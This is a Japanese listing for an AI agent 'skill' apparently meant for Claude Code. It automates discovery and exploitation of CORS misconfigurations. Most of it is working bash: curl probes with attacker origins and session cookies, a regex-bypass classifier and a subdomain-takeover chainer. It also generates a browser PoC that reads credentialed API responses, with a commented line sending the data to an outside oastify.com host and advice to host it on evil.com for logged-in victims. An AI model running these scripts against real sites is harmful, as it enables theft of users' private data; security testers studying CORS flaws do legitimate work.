mcpField
C
cors-chain-automation

cors-chain-automation

github.com/uphiagoセキュリティ1.3k41 回インストール8 週間前に更新
リポジトリ

cors-chain-automation について

cors-chain-automationは、複数のAPIエンドポイントや対象ドメインのCORS挙動を体系的に調べるスキルです。認証情報を悪用できるパターンと誤検知を区別し、確認済みの発見に対するブラウザーPoC HTMLを生成します。

主な機能

  1. 01複数エンドポイントの検出とプローブ
  2. 02反射、null、正規表現回避のオリジンをテスト
  3. 03OPTIONSプリフライト挙動を確認
  4. 04サブドメインの正規表現不備を分類
  5. 05ブラウザーPoC HTMLを生成

活用シーン

  1. 01エンドポイント一覧のCORSトリアージ
  2. 02認証情報を使ったクロスオリジンアクセスの検証
  3. 03OPTIONSが有効なリクエストを許可するか確認
  4. 04確認済みの発見に対するブラウザーPoCファイルの作成

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/uphiago/recon-skills --skill cors-chain-automation

インストール後、Claude Code で/cors-chain-automationを入力して読み込まれたか確認します。

詳細

マルチエンドポイント CORS トリアージ

使用する場面

API エンドポイントまたは対象ドメインのリストがあり、クレデンシャルを悪用できる CORS の設定ミスを大規模に体系的に見つける必要がある場合に使用します。悪用可能な 3 つのパターン(任意のオリジンを反映+クレデンシャル、null オリジンの信頼、サブドメイン正規表現のバイパス)と、誤検知(ACAO: * のみ、反映されたオリジンなしの ACAC、同一オリジンのみ)を区別します。確認できた問題について、すぐに使えるブラウザー PoC HTML ファイルを生成します。

CORS のバリエーション

#バリエーション初期シグナル必要な追加確認
V1クレデンシャル付きオリジン反映オリジンが反映され、ACAC: trueクレデンシャル付きのブラウザーリクエストで保護されたデータを読み取れる
V2null オリジンの信頼ACAO: null と ACAC: trueサンドボックス化されたブラウザーで証明する
V3クレデンシャルなしのワイルドカードACAO: *データがすでに公開されているかどうかを判断する
V4クレデンシャル付きプリフライトOPTIONS がオリジンとメソッドを許可実際のブラウザーリクエストが成功する
V5保護されたルートの CORS401 または 403 で CORS が確認される承認済みセッションで保護されたデータが返される
V6広範なオリジン反映複数の無関係なオリジンが反映される制御されたオリジンでブラウザー検証を行う
V7名前空間固有の CORS1 つの API またはプラグインの名前空間のみが反映されるその名前空間のデータまたはアクションを検証する
V8環境固有の CORS環境ごとにポリシーが異なるスコープ内で影響を実証する
重要な実装上の教訓 — /users だけでなく、すべてのエンドポイントをテストする

1 つのルートからアプリケーション全体のポリシーを推測しないでください。アプリケーションマップでサポートされている範囲内のエンドポイントをテストします。

# WRONG — tests only /users:
curl --max-time 30 --connect-timeout 10 -sk -I "https://$TARGET/wp-json/wp/v2/users" -H "Origin: https://evil.com" | grep -i "access-control"

# CORRECT — test ALL endpoints:
for ep in /wp-json/wp/v2/users /wp-json/wp/v2/posts /wp-json/wp/v2/pages \
  /wp-json/wp/v2/media /wp-json/wp/v2/comments /wp-json/wp/v2/statuses \
  /wp-json/wp/v2/tags /wp-json/wp/v2/categories /wp-json/wp/v2/settings \
  /wp-json/wc/v3/products /wp-json/gf/v2/forms /wp-json/wp-site-health/v1; do
  cors=$(curl --max-time 30 --connect-timeout 10 -sk -I "https://$TARGET${ep}" -H "Origin: https://evil.com" 2>/dev/null | grep -iE "access-control-allow-origin|access-control-allow-credentials")
  code=$(curl --max-time 30 --connect-timeout 10 -sk -o /dev/null -w "%{http_code}" "https://$TARGET${ep}" -H "Origin: https://evil.com" 2>/dev/null)
  echo "${ep} — HTTP ${code} | ${cors:-NO CORS}"
done

401/403(認証が必要)を返すエンドポイントでも CORS ヘッダーは出力されます。管理者がログインしていれば、これらの 401 は 200 になり、機密データをクロスオリジンから読み取れる可能性があります。

OPTIONS プリフライトでの CORS(V4)

GET ではなく、OPTIONS プリフライトでのみ CORS ヘッダーを漏えいするサイトもあります。必ず両方をテストしてください。

curl --max-time 30 --connect-timeout 10 -sk -X OPTIONS "https://$TARGET/wp-json/wp/v2/users" \
  -H "Origin: https://evil.com" \
  -H "Access-Control-Request-Method: GET" | grep -iE "access-control"
null オリジンのテスト(V2)

サンドボックス化された iframe は Origin: null を送信します。これを許可リストに登録しているサイトもあります。明示的にテストしてください。

curl --max-time 30 --connect-timeout 10 -sk -I "https://$TARGET/wp-json/wp/v2/users" -H "Origin: null" | grep -iE "access-control"
# Quick triage: probe 3 CORS patterns on a target
curl --max-time 30 --connect-timeout 10 -s -D - -o /dev/null "https://$TARGET/api/me" \
  -H "Origin: https://evil.com" \
  -H "Cookie: $COOKIE" | grep -i "access-control"

curl --max-time 30 --connect-timeout 10 -s -D - -o /dev/null "https://$TARGET/api/me" \
  -H "Origin: null" \
  -H "Cookie: $COOKIE" | grep -i "access-control"

# Multiple origins test
for origin in "https://evil.com" "https://eviltarget.com" "https://x.target.com.evil.com"; do
  echo "=== $origin ==="
  curl --max-time 30 --connect-timeout 10 -s -D - -o /dev/null "https://$TARGET/api/me" -H "Origin: $origin" -H "Cookie: $COOKIE" | grep -i "access-control"
done

手順

フェーズ 1 — エンドポイントの検出
#!/bin/bash
# cors-endpoint-discovery.sh - Find CORS-emitting endpoints
TARGET="$1"
ENDPOINTS=(
  "/api/me" "/api/user" "/api/profile" "/api/session" "/api/tokens"
  "/api/csrf" "/api/account" "/api/settings" "/api/config"
  "/api/v1/me" "/api/v1/user" "/api/v1/profile"
  "/wp-json/wp/v2/users" "/wp-json/wp/v2/posts"
  "/graphql" "/v1/graphql"
  "/.well-known/openid-configuration"
)

for endpoint in "${ENDPOINTS[@]}"; do
  result=$(curl --max-time 30 --connect-timeout 10 -s -D - -o /dev/null "https://$TARGET$endpoint" \
    -H "Origin: https://evil.com" -H "Cookie: $COOKIE" 2>/dev/null | grep -i "access-control")
  [ -n "$result" ] && echo "=== $endpoint ===" && echo "$result"
done
フェーズ 2 — CORS の自動プローブ(3 パターン)
#!/bin/bash
# cors-probe.sh - Test 3 exploitable CORS patterns on each endpoint
TARGET="$1"
COOKIE="${2:-}"
PATTERNS=(
  "https://evil.com"
  "https://eviltarget.com"  
  "https://x.target.com.evil.com"
  "null"
)
RESULTS_FILE="/tmp/cors_results_${TARGET//\//_}.txt"

echo "CORS Probe Results for $TARGET" > "$RESULTS_FILE"
echo "Cookie: ${COOKIE:+present}" >> "$RESULTS_FILE"

for origin in "${PATTERNS[@]}"; do
  echo -e "\n--- Origin: $origin ---" >> "$RESULTS_FILE"
  
  # Test multiple endpoints
  for ep in /api/me /api/user /api/profile /api/session /api/tokens /api/csrf; do
    response=$(curl --max-time 30 --connect-timeout 10 -s -D - -o /dev/null "https://$TARGET$ep" \
      -H "Origin: $origin" ${COOKIE:+-H "Cookie: $COOKIE"} 2>/dev/null)
    
    acao=$(echo "$response" | grep -i "access-control-allow-origin" | tr -d '\r')
    acac=$(echo "$response" | grep -i "access-control-allow-credentials" | tr -d '\r')
    
    [ -n "$acao" ] && echo "  $ep → $acao | ${acac:-no ACAC}" >> "$RESULTS_FILE"
  done
done

echo "Results written to $RESULTS_FILE"
フェーズ 3 — サブドメイン正規表現バイパスの分類
#!/bin/bash
# cors-regex-classifier.sh - Identify the EXACT regex flaw
# Usage: ./cors-regex-classifier.sh target.com

TARGET="$1"
ENDPOINT="/api/me"

# Test each bypass class
declare -A TESTS
TESTS["Standard-subdomain"]="https://evil.$TARGET"
TESTS["Missing-dot-separator"]="https://evil${TARGET}"  
TESTS["Missing-end-anchor"]="https://x.$TARGET.evil.com"
TESTS["Prefix-only"]="https://$TARGET.evil.com"
TESTS["Backtick-bypass"]="https://$TARGET%60.evil.com"
TESTS["Null-origin"]="null"

echo "=== CORS Regex Classification for $TARGET ==="
for test_name in "${!TESTS[@]}"; do
  origin="${TESTS[$test_name]}"
  result=$(curl --max-time 30 --connect-timeout 10 -s -D - -o /dev/null "https://$TARGET$ENDPOINT" \
    -H "Origin: $origin" -H "Cookie: $COOKIE" 2>/dev/null | grep -i "access-control-allow-origin")
  echo "[$test_name] Origin: $origin → ${result:-NO MATCH}"
done
フェーズ 4 — ブラウザー PoC の生成
#!/bin/bash
# cors-poc-generator.sh - Generate browser PoC HTML for confirmed findings
# Usage: ./cors-poc-generator.sh target.com /api/me "eyJhbGci..."

TARGET="$1"
ENDPOINT="$2"
SESSION_HINT="${3:-}"
DATE=$(date +%Y%m%d)
POC_FILE="poc-cors-${TARGET}-${DATE}.html"

cat > "$POC_FILE" << POCEOF
<!doctype html>
<html>
<head><title>CORS PoC — ${TARGET}${ENDPOINT}</title></head>
<body>
<h2>CORS Credential Read PoC</h2>
<p>Target: <code>https://${TARGET}${ENDPOINT}</code></p>
<p>Date: ${DATE}</p>
${SESSION_HINT:+<p>Session hint: <code>${SESSION_HINT}</code></p>}
<pre id="out">Loading...</pre>
<hr>
<h3>Results:</h3>
<script>
(async () => {
  const out = document.getElementById('out');
  const results = [];
  
  try {
    let r = await fetch('https://${TARGET}${ENDPOINT}', {credentials: 'include'});
    let d = await r.text();
    results.push('STATUS: ' + r.status);
    results.push('BODY: ' + d.substring(0, 500));
    
    // OOB exfil (uncomment for proof)
    // await fetch('https://OOB-ID.oastify.com/exfil?d=' + btoa(d));
  } catch(e) {
    results.push('BLOCKED: ' + e.message);
  }
  
  out.textContent = results.join('\\n');
  
  // Additional endpoints
  const extraEndpoints = ['/api/user', '/api/session', '/api/tokens'];
  for (const ep of extraEndpoints) {
    try {
      let r = await fetch('https://${TARGET}' + ep, {credentials: 'include'});
      let d = await r.text();
      results.push('--- ' + ep + ' ---');
      results.push('STATUS: ' + r.status);
      results.push('BODY: ' + d.substring(0, 300));
    } catch(e) {
      results.push('--- ' + ep + ' --- BLOCKED');
    }
  }
  out.textContent = results.join('\\n');
})();
</script>
</body>
</html>
POCEOF

echo "[+] PoC written to: $POC_FILE"
echo "    Host this on evil.com and visit while logged into $TARGET"
フェーズ 5 — サブドメイン乗っ取りとの一括相互参照
#!/bin/bash
# cors-bulk-chainer.sh - Find targets where CORS + subdomain takeover chain
# Reads CORS results and subdomain takeover fingerprints, finds overlaps

CORS_RESULTS="$1"
SUB_RESULTS="$2"

echo "=== CORS + Subdomain Takeover Chain Candidates ==="
while read line; do
  target=$(echo "$line" | awk '{print $1}')
  cors_type=$(echo "$line" | awk '{print $2}')
  sub_status=$(grep "$target" "$SUB_RESULTS" 2>/dev/null | head -1)
  
  if [ -n "$sub_status" ]; then
    echo "[CHAIN] $target — CORS: $cors_type | Subdomain: $sub_status"
    echo "  -> If CORS trusts *.$target and a subdomain is takeoverable: Critical chain"
  fi
done < "$CORS_RESULTS"

注意点

  • /users エンドポイントだけをテストする — CORS 検出で最もよくある間違いです。WordPress でクレデンシャル付きの CORS オリジン反映があると、ユーザーだけでなく、すべての REST エンドポイントに影響します。/wp/v2/users、/wp/v2/posts、/wp/v2/pages、/wp/v2/media およびプラグイン固有の名前空間をテストしてください。
  • ACAO: だけで悪用可能な CORS と誤認する* — Access-Control-Allow-Credentials: true を伴わない Access-Control-Allow-Origin: * は安全です。悪用可能なのは、オリジン反映とクレデンシャルの組み合わせだけです。
  • OPTIONS プリフライトを省略する — GET ではなく OPTIONS でのみ CORS ヘッダーを出力するサイトもあります。必ず両方のメソッドをテストしてください。
  • null オリジンのテストを見落とす — サンドボックス化された iframe は Origin: null を送信します。これを許可リストに登録しているサイトもあります。明示的にテストしてください。
  • 単一オリジンだけをテストする — Origin: https://evil.com だけをテストすると、複数オリジンを反映するパターンを見逃します。evil.com、サブドメインのバイパス、null、プリフライトの少なくとも 4 パターンをテストしてください。
  • 認証が必要なエンドポイントからも情報が漏れる — 401/403 のレスポンスでも CORS ヘッダーが出力される場合があります。管理者がログインしていれば、これらは 200 になり、クロスオリジンからデータを読み取れるようになります。
  • ステージング環境のみの CORS を記録しない — ステージング環境でのみ CORS を悪用できる場合は、そのことを明確に記録してください。本番環境では制御が異なる可能性があります。
  • credentials:include を使わないブラウザー PoC — 生成する PoC では credentials: 'include' を使用してください。使用しないとブラウザーが Cookie を送信せず、攻撃が機能しません。
  • エンドポイントを 5 件超ループで処理する — zsh の配列展開は、気づかないうちに失敗することがあります。エンドポイントが 5 件を超える一括 CORS プローブには Python を使用してください。

攻撃対象領域のシグナル

  • Access-Control-Allow-Origin ヘッダーを返すエンドポイント
  • Cookie 認証された API エンドポイント(PII、トークン、レスポンスボディ内の CSRF トークン)
  • WordPress REST API エンドポイント(/wp-json/wp/v2/users、/wp-json/wp/v2/posts)
  • クライアント側で API を呼び出す SPA(Next.js、React、Vue)

参照ファイル

よくある根本原因

  1. あらゆるオリジンを反映し、認証情報を許可 — サーバーが Origin ヘッダーをそのまま返し、ACAC: true を設定する
  2. null オリジンへの信頼 — サーバーが null オリジンを許可リストに登録しており、サンドボックス化された iframe から悪用可能
  3. サブドメインの正規表現の不備 — エスケープされていないドット、末尾アンカーの欠如、プレフィックスドットの欠如
  4. 検証時に Origin ヘッダーを完全に無視 — すべてのオリジンが許可される
  5. プリフライト(OPTIONS)ゲートの回避 — OPTIONS が任意のメソッド/ヘッダーを許可する

回避手法

正規表現の不備ペイロード理由
ドメインの前にドットがないhttps://eviltarget.com.*target\\.com$ は eviltarget.com に一致する
末尾アンカー $ がないhttps://x.target.com.evil.com正規表現がプレフィックスのみに一致する
エスケープされていないドット(. = 任意の文字)https://xtargetXcom. は任意の 1 文字に一致する
プレフィックスのみ($ なし)https://target.com.evil.com文字列の先頭に一致する
null への信頼サンドボックス化された iframe + data: URIOrigin: null が自動的に送信される

実例

58 社を対象とした現場調査より:

  • 深掘り調査の対象 7 件中 5 件で、WP REST API において CORS 認証情報が反映されていた(あらゆるオリジンを反映 + ACAC)
  • 5 件すべてで、認証情報付きのクロスオリジン読み取りにより、ユーザーリスト、投稿内容、メディアファイルが取得可能だった
  • CORS の検出結果をサブドメイン乗っ取りと組み合わせることで、同一オリジンでの JavaScript 完全実行につながった

検証

次のセルフテストを実行し、CORS プロービングが機能することを確認します:

  1. 基本的な CORS プローブ — 既知のエンドポイントでオリジンの反映をテストします:

    curl --max-time 30 --connect-timeout 10 -s -D - -o /dev/null "https://httpbin.org/get" -H "Origin: https://evil.com" | grep -i "access-control"
    
  2. OPTIONS プリフライトテスト — プリフライトプロービングの構文を確認します:

    curl --max-time 30 --connect-timeout 10 -s -X OPTIONS "https://httpbin.org/get" -H "Origin: https://evil.com" -H "Access-Control-Request-Method: GET" -D - -o /dev/null | head -5
    
  3. null オリジンテスト — null オリジンの構文を確認します:

    curl --max-time 30 --connect-timeout 10 -s -D - -o /dev/null "https://httpbin.org/get" -H "Origin: null" -w "HTTP %{http_code}
    

"


4. **PoC テンプレートの整合性** — ブラウザー用 PoC テンプレートが存在することを確認します:
```bash
grep -q "credentials: 'include'" SKILL.md && echo "PASS: PoC template includes credentials" || echo "FAIL"
grep -q "fetch(" SKILL.md && echo "PASS: fetch() PoC pattern present" || echo "FAIL"

4 つのテストすべてで、CORS プロービングの中核機能を確認できます。


関連スキル

  • hunt-cors — CORS ハンティングの基礎となる手法
  • hunt-subdomain — CORS とサブドメイン乗っ取りを組み合わせて重大な脆弱性につなげます
  • hunt-xss — ブラウザー用 PoC の生成手法
  • hunt-csrf — CORS プリフライト回避を CSRF につなげる手法
  • hunt-dom — postMessage のオリジンチェックは CORS のオリジンチェックに関連します
  • hunt-wordpress — WP REST API は最も一般的な CORS の発生源です

コメント